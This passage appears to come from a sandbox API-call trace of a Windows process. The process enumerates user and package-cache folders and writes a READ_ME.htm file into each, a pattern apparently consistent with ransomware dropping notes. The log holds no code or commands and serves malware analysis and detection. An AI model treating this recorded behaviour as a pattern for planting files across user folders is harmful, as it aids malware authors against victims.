Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0142.343] SetErrorMode (uMode=0x1) returned 0x0 [0142.343] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.344] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.344] SetErrorMode (uMode=0x0) returned 0x1 [0142.344] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0142.344] SetErrorMode (uMode=0x1) returned 0x0 [0142.344] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.344] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.345] SetErrorMode (uMode=0x0) returned 0x1 [0142.345] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7e [0142.345] SetErrorMode (uMode=0x1) returned 0x0 [0142.345] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.345] GetFileType (hFile=0x1d0) returned 0x1 [0142.345] SetErrorMode (uMode=0x0) returned 0x1 [0142.345] GetFileType (hFile=0x1d0) returned 0x1 [0142.346] WriteFile (in: hFile=0x1d0, lpBuffer=0x28dd1b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28dd1b0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.347] CloseHandle (hObject=0x1d0) returned 1 [0142.348] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.348] SetErrorMode (uMode=0x1) returned 0x0 [0142.348] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.349] GetFileType (hFile=0x1d0) returned 0x1 [0142.349] SetErrorMode (uMode=0x0) returned 0x1 [0142.350] GetFileType (hFile=0x1d0) returned 0x1 [0142.350] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e1810*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e1810*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.352] CloseHandle (hObject=0x1d0) returned 1 [0142.352] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.352] SetErrorMode (uMode=0x1) returned 0x0 [0142.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.354] GetFileType (hFile=0x1d0) returned 0x1 [0142.354] SetErrorMode (uMode=0x0) returned 0x1 [0142.354] GetFileType (hFile=0x1d0) returned 0x1 [0142.354] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e5e50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28e5e50*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.355] CloseHandle (hObject=0x1d0) returned 1 [0142.356] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0142.356] SetErrorMode (uMode=0x1) returned 0x0 [0142.356] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.356] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.356] SetErrorMode (uMode=0x0) returned 0x1 [0142.357] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0142.357] SetErrorMode (uMode=0x1) returned 0x0 [0142.357] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.357] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.358] GetFileType (hFile=0x1d0) returned 0x1 [0142.361] GetFileType (hFile=0x1d0) returned 0x1 [0142.363] GetFileType (hFile=0x1d0) returned 0x1 [0142.365] GetFileType (hFile=0x1d0) returned 0x1 [0142.367] GetFileType (hFile=0x1d0) returned 0x1 [0142.370] GetFileType (hFile=0x1d0) returned 0x1 [0142.373] GetFileType (hFile=0x1d0) returned 0x1 [0142.375] GetFileType (hFile=0x1d0) returned 0x1 [0142.377] GetFileType (hFile=0x1d0) returned 0x1 [0142.396] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu\\READ_ME.htm" (normalized: "c:\\users\\all users\\start menu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.398] GetFileType (hFile=0x1d0) returned 0x1 [0142.401] SetErrorMode (uMode=0x0) returned 0x1 [0142.402] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0142.402] SetErrorMode (uMode=0x1) returned 0x0 [0142.402] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates\\READ_ME.htm" (normalized: "c:\\users\\all users\\templates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.403] GetFileType (hFile=0x1d0) returned 0x1 [0142.403] SetErrorMode (uMode=0x0) returned 0x1 [0142.403] GetFileType (hFile=0x1d0) returned 0x1 [0142.403] WriteFile (in: hFile=0x1d0, lpBuffer=0x292b550*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x292b550*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0142.404] CloseHandle (hObject=0x1d0) returned 1 [0142.405] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\READ_ME.htm", lpFilePart=0x0) returned 0x1e [0142.405] SetErrorMode (uMode=0x1) returned 0x0 [0142.405] CreateFileW (lpFileName="C:\\Users\\All Users\\READ_ME.htm" (normalized: "c:\\users\\all users\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.406] GetFileType (hFile=0x1d0) returned 0x1 [0142.406] SetErrorMode (uMode=0x0) returned 0x1 [0142.406] GetFileType (hFile=0x1d0) returned 0x1 [0142.406] WriteFile (in: hFile=0x1d0, lpBuffer=0x292fa90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x292fa90*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0142.407] CloseHandle (hObject=0x1d0) returned 1 [0142.408] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0142.408] SetErrorMode (uMode=0x1) returned 0x0 [0142.408] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0142.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x62d46c20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0142.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0142.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, 